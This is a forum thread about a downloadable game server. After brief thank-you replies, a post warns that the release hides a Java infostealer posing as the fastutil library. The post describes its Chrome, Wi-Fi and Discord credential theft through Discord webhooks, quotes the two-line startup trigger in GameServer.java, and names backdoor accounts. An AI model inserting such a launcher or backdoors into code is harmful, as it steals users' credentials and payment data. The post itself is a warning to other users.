Thx

ONE POST ONCE A DAY, WOO-HOO!

hahahah thank u for this

sick

ty

Quote

 

oik lmk see

thanks

hmmm

ty

This server ships an infostealer that fires on every startup. Do not run the Aelous server as-is.

The payload

Cryptic/Aelous210/Aelous210/Aelous210/functions/functions-1.90.0.jar (18 MB) is disguised as fastutil (a real dependency the project uses at 1.90.x) but is actually a Java infostealer. It contains:

- Chrome credential theft — ChromeSecurityV1/V2, ChromeAccount, ChromeService decrypt saved passwords/cookies via Windows DPAPI + AES-GCM, reading Chrome's SQLite login DB.

- Windows Wi-Fi password dumper — WinWiFiService (via JNA → wlanapi).

- Discord token grabber — targets discord, discordcanary, hits /users/@me/billing/payment-sources to pull saved payment methods.

- Exfiltrates via two hardcoded Discord webhooks (C2).

The trigger

Cryptic/Aelous210/Aelous210/Aelous210/src/main/java/com/aelous/GameServer.java:188-189

String command = "java -jar functions/functions-1.90.0.jar";

Runtime.getRuntime().exec(command);

Runs unconditionally at server start. Payload is Windows-only, but the launcher fires on any OS.

Backdoor accounts (privilege escalation)

- "Chaotic jr" → dev perms in

This is the hidden content, please

• Sign In
• or
• Sign Up

; bypasses IP checks in

This is the hidden content, please

• Sign In
• or
• Sign Up

- "zoo" → can read any player's IP (

This is the hidden content, please

• Sign In
• or
• Sign Up

)

- "fpk merk", "vihtic" → hardcoded promo-code payouts

Edited July 25Jul 25 by poipoiperi
found malicious files